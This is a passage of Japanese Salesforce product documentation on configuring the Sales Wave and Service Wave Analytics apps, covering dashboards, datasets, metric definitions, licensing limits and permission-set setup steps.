Sales Wave ダッシュボードへのアクションの追加
Sales Wave ダッシュボードでは、取引先および商談ページレイアウトで有効になっているアクションが使用さ
れます。アクションを追加するには、これらのオブジェクトのページレイアウトを編集します。
Salesforce で、[取引先] または [商談] タブに移動し、取引先または商談のページを開いて、ページの右上にある
[レイアウトのリンクを編集する] をクリックします。
[パブリッシャーのクイックアクション] セクションで、[グローバルパブリッシャーレイアウトを上書きする]

をクリックします。組織のいずれかのユーザがすでにこの作業を行っている場合、リンクは表示されません。
このセクションの名前は、使用している組織によっては若干異なる可能性があります ([Salesforce Classic のパブ
リッシャーのクイックアクション] など)。
アクションを追加するオブジェクトに応じて、ページ上部にある [取引先レイアウト] パネルまたは [商談レイ
アウト] パネルで、左側の [クイックアクション] をクリックします。「新規」という単語で始まるアクション
([新規 ToDo] や [新規メモ] など) を [パブリッシャーのクイックアクション] セクションにドラッグします。
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[保存] をクリックして、変更を保存します。これでレイアウトに追加したアクションが、Sales Wave ダッシュ
ボードのグラフおよびテーブルから使用できるようになります。

データセットのロール名の上書き
Sales Wave では、会社の営業パフォーマンスがわかりやすくなるように Salesforce ロール階層が使用されます。
初めてアプリケーションを作成すると、Sales Wave ダッシュボードに階層内のロール名に関連付けられた番号
が表示されます。これは、ロールを表示する方法として最も効率的とは言えません。そのロールの担当者の名
前を表示するには、対応するデータセットの拡張メタデータ (XMD) ファイルを編集することによって、ロール
値を更新できます。
次のようなロール階層があるとします。
CEO (Manager: Paul)

Sales_WW (Manager: Yves)
Sales_WEST
Sales_EAST

マネージャの名前がSales Waveダッシュボードに表示されるようにするには、次の内容で Opportunity データセッ
トの XMD ファイルを更新します。

{"labels": {
"keys": {

"RoleName": {
"CEO": "Paul",
"Sales_WW": "Yves"
},

}
}}

詳細は、『Wave Analytics 拡張メタデータ (XMD) リファレンス』を参照してください。

取引先ページレイアウトへの Account Overview ダッシュボードの埋め込み
Salesforce 取引先ページレイアウトに埋め込まれる Sales Wave Account Summary および Opportunity Summary ダッシュ
ボードが最適化されました。これを行うには、「Salesforce ページへのダッシュボードの埋め込み」の手順を実
行します。
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表示している取引先に基づいてダッシュボードを絞り込むことができるようにするには、次の文字列を検索条
件として使用します。

{
"opportunity1": {

"AccountId": ["$Id"]
}

}

opportunity1は、Opportunity データセットのシステム名に対応します。この名前は、組織によって異なる可
能性があります。

Salesforce Classic タブでの Sales Wave の有効化
Sales Wave にアクセスするには、Force.com メニューで Wave Analytics に移動して、Wave ホームページからアプリ
ケーションを選択します。チームがアプリケーションにアクセスしやすくなるように、Salesforce Classic のタブ
として公開できます。これを行うには、Sales Wave - Overview ダッシュボードを含む Visualforce ページを指し示す
新しいタブを作成します。完全な手順は、「Wave Analytics ダッシュボードの Visualforce ページへの追加」を参照
してください。

Sales Wave Analytics アプリケーションの制限事項について
Sales Wave では、Sales Cloud に特定のデータが含まれていて、制限された一連の Salesforce オブジェクトがサポー
トされている必要があります。

Sales Wave のデータ要件
Sales Wave ダッシュボードが正しく機能するには、Sales Cloud データが次の要件を満たしている必要がありま
す。
• 標準のセールスオブジェクトを使用している。
• 少なくとも 1 つの行動と 1 つの ToDo が商談に関連付けられている。
• 商談オブジェクトの [取引先]、[フェーズ]、および [完了予定日] 項目の履歴管理が有効になっている。
• ケースが取引先に関連付けられている (設定ウィザードを使用してケースデータを Sales Wave にインポート

する場合)。
• 設定ウィザードを使用して Sales Wave にリードデータをインポートする場合の 2 つの要件

1. 少なくとも 1 つのリードが商談に変換されている。
2. リードが取引先に関連付けられている。

• 設定ウィザードを使用して Sales Wave にキャンペーンデータをインポートする場合の 2 つの要件
1. 少なくとも 1 つの商談がキャンペーンに関連付けられている。
2. 少なくとも 1 つのキャンペーンメンバーがキャンペーンに関連付けられている。

• 設定ウィザードを使用して Sales Wave に商談レコードタイプをインポートする場合の 2 つの要件
1. 少なくとも 1 つの商談レコードタイプが定義されている。
2. 商談レコードタイプが少なくとも 1 つの商談に関連付けられている。
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Sales Wave の Salesforce オブジェクトおよび項目のサポート
Sales Wave では、すべての Salesforce 標準/カスタムオブジェクトおよびデータがサポートされます。ただし、ア
プリケーションの初回作成時は、デフォルトで定義済みのオブジェクトおよび項目のセットのみが含まれま
す。
Sales Waveでは、次の標準 Salesforce オブジェクトから選択された項目を公開するデータフローが作成されます。
• 取引先
• ユーザ
• ロール
• 商談
• 商品 (商談品目)

• ToDo

• 行動
Sales Wave は、標準 Salesforce オブジェクトの標準およびカスタム項目をサポートしています。提供される項目
は、組み込みの設定ウィザードを使用してアプリケーションを作成したときの回答によって決まります。

メモ: Sales Wave でサポートされるカスタムオブジェクトには制限があり、Sales Wave を実装する組織ごと
に 10 個までとなっています。これは契約上の制限であり、技術的な制限ではありません。

アプリケーションの初回作成時に含まれていなかったカスタムオブジェクトまたは項目を追加するには、Sales

Wave データフローを更新する必要があります。詳細は、「データフローを使用したデータセットの作成」を
参照してください。

Sales Wave の Salesforce 以外のデータのサポート
Sales Waveは、ユーザレベルの目標データが含まれるCSV ファイルを除き、外部データソースをサポートしてい
ません。他の外部データをインポートするには、追加ライセンスが必要です。詳細は、Salesforce の担当者にお
問い合わせください。

メモ: 目標に関するデータを Sales Wave に追加するには、詳細が記載された CSV ファイルをアップロード
する必要があります。詳細は、「Sales Wave の Quota (Target) データセットの更新」を参照してください。

Sales Wave アプリケーションのデータ用語の概要
Sales Wave アプリケーションで使用される総計値と用語を理解すると、このアプリケーションを最大限に活用
する上で役立ちます。

表 60 : Sales Wave ダッシュボード
説明/メモ数式総計値/用語

完了して成立した商談の金額。商談成立

完了して不成立となった商談の金
額。

不成立

完了した商談の総額。商談成立 + 不成立完了合計
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説明/メモ数式総計値/用語

特定期間に対して計画/達成予測/目
標設定された金額。

目標

目標の達成率。商談成立/目標目標達成率

算出に売上予測カテゴリまたは
フェーズ名を使用可能。

多数完了見込み

期間中に完了が期待される金額。商談成立 + 完了見込み売上予測

目標に占める売上予測の比率。売上予測/目標売上予測対目標比

目標達成に必要な金額。目標－商談成立要完了

今後完了見込みの商談を計上した
後、目標達成に必要な金額。

目標－売上予測要検索

パイプライン内にある進行中の商
談の総額 (売上予測分類が「完了」

進行中のパイプ

または「売上予測から除外」と等
しくない場合)

要完了金額のうち、パイプ内の金
額でカバーされる割合。

進行中のパイプ/要完了進行中のパイプカバー率

新規ビジネスの商談成立額。契約

2 つの項目間の差。当年－前年差

前年比成長率。(当年/前年) － 1前年比

商談、商品などの平均販売価格。総額 ($)/合計件数 (#)平均販売価格

金額 ($) に基づく、完了した商談の
成功率。

商談成立/完了合計平均成立率 (金額)

件数 (#) に基づく、完了した商談の
成功率。

商談成立/完了合計平均成立率 (件数)

商談の完了までにかかった期間。完了日－作成日平均営業サイクル

リスト価格からの割引率。ABS ((売上額/リスト価格)－ 1)平均割引率

Service Wave Analytics アプリケーション
Service Wave アプリケーションを使用すると、迅速に Wave Analytics の使用を開始し、あらゆるデバイスで Service

Cloud データを簡単に探索できます。サービスマネージャもエージェントも、必要なすべての情報を一元的に
取得して、ビジネスの成長に役立つ重要なインサイトを明らかにすることができます。
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ヒント:  Service Wave の使用を開始するには、次の手順に従います。初めて Wave を使用する場合は、詳細
を「Wave Analytics ライブラリ」で確認してください。

1. Service Wave アプリケーションについて
Service Wave Analytics アプリケーションは、サービスマネージャとエージェントが容易にデータを使用して
サービスビジネスの成功を促進できるように作成されています。アプリケーションを作成および使用して
Service Cloud データを探索する前に、このアプリケーションの利点について学習します。

2. Sales Wave の事前作成済みダッシュボードおよびデータセット
Service Wave アプリケーションには、サービスマネージャとエージェントが Service Wave データを容易に探索
できるように、事前作成済みダッシュボードおよびデータセットが含まれています。

3. Service Wave Analytics アプリケーションの Salesforce 権限の設定
組織でService Wave アプリケーションを使用できるように設定するために、Wave を有効にし、権限セットラ
イセンスを割り当て、権限セットを作成して割り当てます。

4. Service Wave アプリケーションの作成と共有
次の手順を実行して Service Wave アプリケーションを作成し、Salesforce データの価値をすばやく明らかにす
ることができます。

5. 設定ウィザードを使用した Service Wave のカスタマイズ
Service Wave設定ウィザードを使用すると、Service Waveアプリケーションを会社の Service Cloud データの表示
方法に合わせて作成できます。

6. CSAT 総計値の設定例
このシナリオには、Service Wave 設定ウィザードのページ 4 の質問に答えるために役立つ情報があります。

7. Service Wave アプリケーションのアップグレード
新しいバージョンがリリースされるたびにアプリケーションをアップグレードして、最新の Service Wave 機
能を活用します。

8. Service Wave の日次データフローのスケジュール
Service Wave で探索を開始する前に、日次データフローを通常の営業時間外にスケジュールします。

9. Salesforce ページへの Service Wave サイドバーダッシュボードの埋め込み
Service Wave ダッシュボードを Salesforce ページに追加し、サービスチームがケースの全体像を把握して適切
に対応できるようにします。

10. Service Wave Analytics アプリケーションの制限事項について
Service Wave では、Service Cloud に特定のデータが含まれている必要があり、初期状態で制限された Salesforce

オブジェクトのセットがサポートされ、他のさまざまな制限事項があります。
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Service Wave アプリケーションについて

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave テンプレートアプリ
ケーションを使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Service Wave を使用する
• 「Service Cloud

Analytics テンプレート
およびアプリケーショ
ンへのアクセス」

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Service Wave Analytics アプリケーションは、サービスマネージャとエージェントが
容易にデータを使用してサービスビジネスの成功を促進できるように作成され
ています。アプリケーションを作成および使用して Service Cloud データを探索す
る前に、このアプリケーションの利点について学習します。
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Service Wave では、Salesforce サービスデータに関するベストプラクティス重要業績評価指標 (KPI) を 1 か所で確認
できます。アプリケーションのダッシュボードは、ビジネスのカスタマーリレーション管理の長年にわたるサ
ポートによって得た知識に基づいて設計されています。マネージャとエージェントが適切な判断を下すために
役立つ、適切な量の情報を適切なタイミングで提供することを目標としています。
サービスマネージャは、トレンド、履歴、対等評価などのサービス顧客データの全体像を把握できます。エー
ジェントは、各ケースと顧客のスナップショットをすばやく表示し、次回の顧客とのやりとりについて迅速に
決断できます。
手間のかかる多くの作業はすでに完了済みで、Salesforce チームがサービスおよびセールスデータを使用する複
雑なクエリ、数式、比率を作成し、それらをまとめて見やすく視覚化しています。したがって、アプリケー
ションを作成するだけで済みます。組み込みのコンフィグレータを使用して、表示するデータと項目に関する
いくつかの質問に答えると、あとは Wave が行います。アプリケーションを作成したら、事前作成済みのデー
タセットとダッシュボードを使用して、Wave をサポートするデバイスから Service Cloud データを探索します。
直観的な Wave インターフェースを使用して、アクションにつながるインサイトをデータから迅速に取得でき
ます。また、ニーズに合わせて Service Wave をカスタマイズすることで、ビジネスの主要な側面をさらに掘り
下げることができます。

メモ: Service Wave ライセンスを購入すると、Salesforce Wave Analytics プラットフォームを使用せずに、組織
で Service Wave を使用できます。Service Wave ライセンスは、Wave Platform ライセンスに含まれています。
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Sales Wave の事前作成済みダッシュボードおよびデータセット

ユーザ権限

Wave アプリケーションを
使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Service Wave を使用する
• 「Service Cloud

Analytics テンプレート
およびアプリケーショ
ンへのアクセス」

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Service Wave アプリケーションには、サービスマネージャとエージェントがService

Waveデータを容易に探索できるように、事前作成済みダッシュボードおよびデー
タセットが含まれています。

メモ: Service Wave のインスタンスに含まれるダッシュボードやデータセッ
トは、アプリケーション作成時の設定ウィザードの質問への回答によって
異なります。

Service Wave ダッシュボード
Service Wave アプリケーションの事前作成済みダッシュボードには、Salesforce デー
タから迅速に価値を得るために役立つベストプラクティスが含まれています。
ダッシュボードでは、パイプラインと売上予測の管理、主要な業績促進要因の
理解、トレンドの視覚化、アクションの割り当てなどを実行できます。また、
ビジネスの成果に関する疑問の答えをすぐに見つけることができます。
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アプリケーションで使用可能なダッシュボードにより、すべてのサービスの重要業績評価指標を含むサービス
顧客データの全体像を一か所で把握できます。マネージャは、平均ケースクローズ時間、顧客満足度、トレン
ド、履歴および対等評価、ケースを解決するためのナレッジの使用、その他のデータをすばやく確認して適切
に対応できます。
サイドバーと呼ばれるダッシュボードの別のセットは、サービスエージェント専用です。サービスコンソール
などの Salesforce ページにサイドバーを埋め込み、エージェントが日常業務中にサイドバーに簡単にアクセスで
きるようにします。エージェントは特定のケースについて、顧客の履歴、ケース数、および CSAT を確認でき
ます。また、顧客の以前のアクションとその結果も表示されるため、何が効果があったかを確認できます。
エージェントが適切に対応するために役立つ、適切な量の情報を適切なタイミングで提供することを目標とし
ています。
次の表では、各 Service Wave ダッシュボードについて説明します。また、任意の時点で独自にデータを掘り下
げることもできます。Wave でのデータの探索についての詳細は、「データの探索と視覚化」 (ページ4579)を参
照してください。

4345

事前作成済み Wave アプリケーション分析



表 61 : Service Wave ダッシュボード
対象ユーザ内容ダッシュボード名

サービスマネージャここから操作を開始します。Service

Cloud からの重要業績評価指標 (KPI)

Overview

がまとめられています。ビジネス
の健全性を測定し、さらに調査が
必要な問題を明らかにできます。
その他すべてのダッシュボードの
出発点ともなります。

サービスマネージャ選択した顧客のサービス履歴と現
在のバックログの完全な詳細、お

Account Profile

よび顧客満足度 (CSAT) データとトレ
ンドが表示されます。商談データ
を追跡している場合、進行中の商
談と成立した商談も表示されます。

サービスマネージャ主要な活動に対するエージェント
とチームのパフォーマンス、およ

Agent Performance

び顧客満足度の総計値が表示され
ます。エージェントのパフォーマ
ンスのトレンドとベンチマークに
より、エージェントに指示を与え
て成功を促進することができます。

サービスマネージャエージェントがどの程度時間を有
効活用しているか判断できます。

Agent Activities

エージェントの作業量、および作
業がどの程度ケースクローズ数、
所要時間、CSAT に影響しているか
が表示されます。

サービスマネージャチャネルごとにケースの CSAT と活
動 (所要時間および量) が表示され、
各チャネルの成功を監視できます。

Channel Review

サービスマネージャチームがどの程度効率的にケース
を解決しているか、およびバック

Backlog Analysis

ログがどの程度の速度で増えてい
るかが表示されるため、バックロ
グの全体像を把握できます。適宜
人員に優先順位を設定し、人員の
確保/割り当てを行うことができま
す。

サービスマネージャ現在のオープンケースのワークロー
ドが表示されます。優先順位を設

Open Cases
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対象ユーザ内容ダッシュボード名

定し、問題のあるケースを調査し、
エスカレーションと SLA の準拠を確
認する場合に役立ちます。取引先
と進行中の商談別にケースの優先
順位を設定し、適切に対応できま
す。

サービスマネージャCSAT の測定値が強調表示されるた
め、サービスの改善に必要な特定

Customer Satisfaction

の領域を識別できます。満足度が
最も高い/低い顧客が示され、エー
ジェント、商品、およびチャネル
が CSAT に関連付けられます。

サービスマネージャCSAT および解決時間に影響するケー
スにナレッジ記事がどのように添

Knowledge Impact

付されているかが表示されます。
どのエージェントが最も多くの記
事を使用しているかを確認し、サー
ビスの問題を解決するために役立
つナレッジを使用するトレーニン
グ/コーチングが必要なエージェン
トを判断できます。

サービスマネージャエージェントがナレッジ記事をど
のように使用しているかが表示さ

Knowledge Use

れるため、記事の作成に役立ちま
す。添付回数が最も多い記事と少
ない記事、およびこれまでに参照
回数または投票数 (高評価) が最も多
い記事を確認できます。

サービスマネージャサービスケースの解決時に顧客へ
の電話連絡がどのように影響する

Telephony

かを理解できます。インバウンド
またはアウトバウンドコール、通
話結果、その他の要素で通話量と
通話時間を絞り込むことができま
す。通話量をエージェントのパ
フォーマンスに関連付けることも
できます。

サービスエージェント顧客が使用しているサービス商品、
ケースの原因、および優先度を含

Sidebar – By Customer

む、顧客のスナップショットが表
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対象ユーザ内容ダッシュボード名

示されます。顧客に対応したエー
ジェント、および CSAT の概要も表
示されます。

サービスエージェント顧客とのやりとりを進めるために
役立つ履歴データのスナップショッ

Sidebar – By Similarity

トが表示されます。解決に取り組
んでいるケースと類似する他のケー
スがあるかどうかが表示されるた
め、エージェントは潜在的な商品
の問題やナレッジの作成の必要性
を特定し、類似するケースに対応
したエージェントと連携できます。

サービスエージェントケースの履歴またはライフサイク
ルの概要が表示されるため、エー

Sidebar – By Case History

ジェントはより確かな情報に基づ
いて顧客に対応できます。ケース
のやりとりのスナップショット、
平均に対するケースの所要時間が
含まれます。

Service Wave データセット
次の表は、アプリケーションの作成時に Service Wave に含まれる可能性のあるすべての標準データセットの一
覧です。

表 62 : Service Wave データセット
内容データセット名

ケースに関するデータ。所要時間、最終更新日、およ
び顧客満足度の測定値が含まれます。

Service Case

ケース履歴に関するデータ。所有者、種別、および作
成日が含まれます。

Service Case History

ケースでのナレッジ記事の使用に関するデータ。参照
回数、評価、最終参照日、ケースの関連付けなどが含
まれます。

Service Knowledge

ケースへのナレッジ記事の添付に関するデータ。記事
がメールで共有されたかどうか、記事のバージョン番
号、およびケース種別が含まれます。

Service Knowledge Attached

商談に関するデータ。商談でケースを絞り込み、優先
順位を設定して適切に対応できます。

Service Opportunities
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内容データセット名

ケースに関連付けられた行動に関するデータ。最終更
新日およびケースの所要時間が含まれます (Service Wave

Service Event

ダッシュボードが正常に機能するには、Service Cloud

データに少なくとも 1 つの行動が含まれている必要が
あります)。

ケースに関連付けられた ToDo に関するデータ。最終
更新日およびケースの所要時間が含まれます (Service

Service Task

Wave ダッシュボードが正常に機能するには、Service

Cloud データに少なくとも 1 つの ToDo が含まれている
必要があります)。

Service Wave Analytics アプリケーションの Salesforce 権限の設定

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

組織で Service Wave アプリケーションを使用できるように設定するために、Wave

を有効にし、権限セットライセンスを割り当て、権限セットを作成して割り当
てます。
各 Service Wave Analytics アプリケーションライセンスは、Service Waveへのアクセス
権が提供されるシングルユーザライセンスです。1 つの Service Wave アプリケー
ションシングルユーザライセンスが含まれます。次の表に、アプリケーション
のデータストレージ制限を示します。より多くのデータが必要な場合、1 億行を
追加できる Analytics Cloud - Additional Data Rows を購入できます。

表 63 : Service Wave データストレージ制限
制限ライセンス

Analytics Cloud - Wave Analytics Platform ライ
センスなしで使用する場合は 2,500 万

Analytics Cloud - Service Wave Analytics アプ
リケーション

行。Service Waveアプリケーションライ
センスを使用しても、プラットフォー
ムライセンスのデータの上限は増えま
せん。

1 億行。Analytics Cloud - Additional Data Rows

重要: Service Wave Analytics アプリケーションライセンスのデータストレージ制限は、契約上の制限であり、
技術的な制限ではありません。ライセンシーは、データ行の合計数を厳密に監視することに同意してい
ます。

Salesforce Wave Analytics プラットフォームの有無に関係なく、組織で Service Wave Analytics アプリケーションを使
用できます。Service Wave Analytics アプリケーションライセンスでは、次の権限が有効になります。
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表 64 : Service Wave ユーザ権限
機能権限

すべての Wave テンプレートアプリケーションへのア
クセス権が有効になります。

「Wave Analytics テンプレートアプリケーションの使
用」

Service Wave Analytics アプリケーションおよびそれに含
まれるデータと事前作成済みダッシュボードへの特定
のアクセス権が付与されます。

「Service Cloud Analytics テンプレートおよびアプリケー
ションへのアクセス」

システム管理者は、組織のユーザ向けに Wave アプリ
ケーション (この場合はService Wave Analytics アプリケー
ション) を作成できます。

「Wave Analytics テンプレートアプリケーションの管
理」

システム管理者は、既存のデータフローの JSON をアッ
プロードおよびダウンロードできます。

「Wave Analytics データフローの編集」

Service Wave アプリケーションの設定プロセス
Service Wave を使用するように組織を設定するには、次の基本手順に従います。
1. Wave プラットフォームを有効にします。Service Waveを設定するための最初のステップは、組織で Wave を有

効化することです。
2. 権限セットライセンスをユーザに割り当てます。次に、Service Analytics アプリケーション権限セットライセ

ンスを各ユーザに割り当てます。各権限セットライセンスは、1 人のユーザにのみ割り当てることができま
す。また、各ユーザがアプリケーションを使用するには、権限セットライセンスが必要です。

3. ユーザ種別を定義し、権限セットを作成して割り当てます。次に、組織のメインユーザ種別を定義し、各
ユーザ種別のニーズに合わせて関連するユーザ権限をグループ化する権限セットを作成します。権限セッ
トを作成したら、ユーザに割り当てます。権限セットは個々のユーザに割り当てることができますが、効
率化するためにユーザのグループに割り当てることもできます。1 人のユーザに複数の権限セットを割り当
てることができます。

この手順を完了したら、組織でService Waveを作成してユーザと共有します。アプリケーションを共有したユー
ザが探索できるのは、Service Wave ダッシュボードおよびデータセットのみです。

ヒント:

最適な結果を得るには、Service Waveアプリケーションの設定手順をここに示された順序どおりに実行します。

1. Service Analytics アプリケーション権限セットライセンスとユーザ権限
Service Analytics アプリケーション権限セットライセンスによって、Service Wave アプリケーションのデータ探
索と管理に必要なすべてのユーザ権限が有効になります。

2. Service Wave Analytics アプリケーションのユーザ種別の特定
Service Wave アプリケーションユーザの種別とユーザが実行するタスクを特定すると、設定プロセスでチー
ムの分析ニーズを満たせるようになります。
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3. Wave Analytics の有効化および Service Analytics アプリケーション権限セットライセンスの割り当て
Salesforce によって Service Wave Analytics アプリケーションライセンスがプロビジョニングされたら、Wave を
有効化し、Service Analytics アプリケーション権限セットライセンスを割り当てます。

4. Service Wave アプリケーション権限セットの作成
組織のユーザに Service Wave 機能へのアクセス権を付与するには、ユーザが必要な機能に基づいて 1 つ以上
の権限セットを作成し、割り当てます。

5. Service Wave アプリケーション権限セットのユーザへの割り当て
権限セットを 1 人以上の Service Waveユーザに割り当てて (1 人ずつまたは一括で)、アプリケーション機能へ
のアクセス権を付与します。

Service Analytics アプリケーション権限セットライセンスとユーザ権限
Service Analytics アプリケーション権限セットライセンスによって、Service Wave アプリケーションのデータ探索
と管理に必要なすべてのユーザ権限が有効になります。
各 Service Wave アプリケーションユーザに Service Analytics アプリケーション権限セットライセンスが必要です。
Service Analytics アプリケーション権限セットライセンスによって、次の権限が有効になります。

表 65 : Service Wave アプリケーション権限
可能になる機能ユーザ権限

Service Wave アプリケーションを含む、すべての Wave

テンプレートアプリケーションへの全般的なアクセス
権。

「Wave Analytics テンプレートアプリケーションの使
用」

Service Wave アプリケーションおよびそれに含まれる
データと事前作成済みダッシュボードへの特定のアク
セス権。

「Service Cloud テンプレートおよびアプリケーション
へのアクセス」

組織のユーザ向け Wave アプリケーション (この場合は
Service Wave アプリケーション) の作成。

「Wave Analytics テンプレートアプリケーションの管
理」

データフローの編集、開始、停止、再スケジュール。
データ監視でデータフローとシステムジョブを監視。

「Wave Analytics データフローの編集」

このユーザ権限を割り当てるときは慎重に判断してく
ださい。この権限では、インテグレーションユーザが
アクセスできるすべての Salesforce オブジェクトデータ
にアクセスできます。「Wave Analytics での Salesforce の
データアクセス」を参照してください。

Service Wave アプリケーションダッシュボードのレポー
トデータのトレンド分析。

「Wave Analytics のトレンドレポートデータ」

Wave Analytics からのデータのダウンロード。「Wave Analytics データのダウンロード」
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Service Wave Analytics アプリケーションのユーザ種別の特定
Service Wave アプリケーションユーザの種別とユーザが実行するタスクを特定すると、設定プロセスでチームの
分析ニーズを満たせるようになります。
Service Wave Analytics アプリケーションライセンスには、組織のユーザが Service Wave の管理に必要とする権限
と、データのインポート、使用、および探索に必要とする権限が含まれます。Service Waveを最も使いやすく設
定するには、ユーザが Service Wave 機能にアクセスできるさまざまな方法を検討し、ユーザを種別ごとに分類
します。次は、その例です。
ほとんどの場合、Service Wave はチームの次の 2 つの基本的な種別のユーザのニーズに対応します。
• ユーザ。Service Wave ダッシュボードおよびデータセットを参照します。
• システム管理者またはマネージャ。アプリケーション、ダッシュボード、データセットの作成、データの

編集や、Service Wave 操作環境のカスタマイズを行うために、すべての Service Wave 機能にアクセスします。
したがって、Service Wave を設定するときには、2 つの基本的な権限セットを作成することで組織のほとんどの
ユーザのニーズを満たせる可能性があります。
• 「参照」権限セット。ほとんどの基本レベルのユーザが Service Wave にアクセスするときに必要とする権限

が含まれます。
• 一部のシステム管理者とマネージャ用に予約された「管理」権限セット。すべての Service Wave 機能を使用

する権限が含まれます。
この後の詳細な Services Wave アプリケーションの設定手順で、これら 2 つの権限セットの作成および割り当て
方法について説明します。

Wave Analytics の有効化および Service Analytics アプリケーション権限セットライセンスの割り当て
Salesforce によって Service Wave Analytics アプリケーションライセンスがプロビジョニングされたら、Wave を有効
化し、Service Analytics アプリケーション権限セットライセンスを割り当てます。
Wave プラットフォームの有効化
Wave プラットフォームを使用するには、まず組織で有効にします。
1. Salesforce の [設定] メニューの [管理] で、[Analytics Cloud] | [始めましょう] をクリックします。
2. [分析の有効化] をクリックします。
権限セットライセンスの割り当て
次に、Service Wave アプリケーションにアクセスする必要がある組織内の各ユーザに権限セットライセンスを割
り当てます。
1. [設定] メニューで、[ユーザの管理] | [ユーザ] をクリックします。
2. Wave へのアクセス権を付与するユーザの名前をクリックします。最初は、ユーザ、システム管理者、また

はシステム管理者に指定したその他の名前を選択するとよいでしょう。
3. カーソルを [権限セットライセンスの割り当て] に置き、[割り当ての編集] をクリックします。
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4. Service Analytics アプリケーション権限セットライセンスを選択し、[保存] をクリックします。

重要: Service Wave アプリケーションにアクセスする必要がある組織内のすべてのユーザについて上記の手
順を繰り返します。

Service Wave アプリケーション権限セットの作成

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

組織のユーザに Service Wave 機能へのアクセス権を付与するには、ユーザが必要
な機能に基づいて 1 つ以上の権限セットを作成し、割り当てます。
ユーザに Service Wave アプリケーション権限セットライセンスを割り当てたら、
Service Waveユーザ権限で構成される権限セットを作成し、その権限セットをユー
ザに割り当てます。ユーザのニーズを満たす必要がある権限セットを作成でき
ます。2 つの権限セットの作成方法を次に示します。
• 「Service Wave の管理」権限セット。Service Wave を作成および管理するユーザ用。
• 「Service Wave の表示」権限セット。アプリケーションのダッシュボードとデータセットを探索するユーザ

用。
1. ユーザにすべてのアプリケーション機能へのアクセス権を付与する、「Service Wave の管理」権限セットを

作成します。
a. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット] をクリックし、[新規] をクリックします。
b. [表示ラベル] 項目にManage Service Waveと入力します。これにより API 参照名も自動的に作成されま

す。この参照名は必要に応じて変更できます。API 参照名には、スペースは使用しない、最後にアンダー
スコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。

c. 警告: このステップは正確に実行しないと、組織の一部のユーザが Service Waveにアクセスできなく
なる可能性があります。

[ユーザライセンス] 項目をデフォルト値の --None--のままにします。ユーザライセンスは選択しない
でください。

d. [保存]をクリックします。権限セットの詳細ページに新しい権限セットが表示されます。次に、ユーザ
権限を権限セットに追加します。

e. 権限セットの詳細ページの最下部までスクロールし、[システム権限] をクリックします。次に、[編集]

をクリックします。
f. 「Wave Analytics テンプレートアプリケーションの使用」、「Service Wave テンプレートおよびアプリケー

ションへのアクセス」、「Wave Analytics テンプレートアプリケーションの管理」、および「Wave Analytics

データフローの編集」ユーザ権限を選択します。4 つすべてを選択してください。[保存] をクリックし
ます。ユーザがService Waveを作成および管理し、すべてのアプリケーション機能にアクセスできる権限
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セットが正常に作成されました。これで、この権限セットをユーザに割り当てることができます。この
割り当てについては、「Service Wave アプリケーション権限セットのユーザへの割り当て」を参照してく
ださい。

2. ユーザがアプリケーションのダッシュボードとデータセットを表示できる、「Service Waveの表示」権限セッ
トを作成します。
a. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット] をクリックし、[新規] をクリックします。
b. [表示ラベル] 項目にView Service Waveと入力します。これにより API 参照名も自動的に作成されま

す。この参照名は必要に応じて変更できます。API 参照名には、スペースは使用しない、最後にアンダー
スコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。

c. 警告: このステップは正確に実行しないと、組織の一部のユーザが Service Waveにアクセスできなく
なる可能性があります。

[ユーザライセンス] 項目をデフォルト値の --None--のままにします。ユーザライセンスは選択しない
でください。

d. [保存]をクリックします。権限セットの詳細ページに新しい権限セットが表示されます。次に、ユーザ
権限を権限セットに追加します。

e. 権限セットの詳細ページの最下部までスクロールし、[システム権限] をクリックします。次に、[編集]

をクリックします。
f. 「Wave Analytics テンプレートアプリケーションの使用」および「Service Wave テンプレートおよびアプリ

ケーションへのアクセス」ユーザ権限のみを選択し、[保存]をクリックします。ユーザが Service Waveの
ダッシュボードとデータセットを表示できる権限セットが正常に作成されました。これで、この権限
セットをユーザに割り当てることができます。この割り当てについては、「Service Wave アプリケーショ
ン権限セットのユーザへの割り当て」を参照してください。

Service Wave アプリケーション権限セットのユーザへの割り当て

ユーザ権限

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

権限セットを 1 人以上の Service Wave ユーザに割り当てて (1 人ずつまたは一括
で)、アプリケーション機能へのアクセス権を付与します。
1. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット]をクリックします。
2. 警告: 「Service Wave の管理」権限ではユーザが Service Wave の作成、編

集、および削除を実行できるため、この権限の割り当ては慎重に行って
ください。これはアプリケーションを管理するユーザにのみ割り当てま
す。

ユーザに割り当てる権限セットをクリックします。「Service Wave アプリケーション権限セットの作成」の
手順に従っている場合は、「Service Wave の管理」または「Service Wave の表示」権限セットを選択します。

3. [割り当ての管理] をクリックし、[割り当てを追加] をクリックします。
4. Wave にアクセスする必要があるユーザを選択し、[完了] をクリックします。
この手順を完了したら、組織でService Waveを作成してユーザと共有します。アプリケーションを共有したユー
ザが探索できるのは、Service Wave ダッシュボードおよびデータセットのみです。
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Service Wave アプリケーションの作成と共有

ユーザ権限

Wave アプリケーションを
作成および管理する
• 「Wave Analytics テン

プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

次の手順を実行して Service Wave アプリケーションを作成し、Salesforce データの
価値をすばやく明らかにすることができます。
組み込みの設定ウィザードを使用すると、Service Wave アプリケーションを Service

Cloud データの表示方法に合わせて作成できます。
1. Salesforce にログインします。
2. Salesforce 項目レベルセキュリティ (ページ 627)を設定して、Wave Analytics Cloud

インテグレーションユーザが、アプリケーションで使用するすべての項目を
表示できるようにします。適切な項目レベルセキュリティ権限がないと、イ
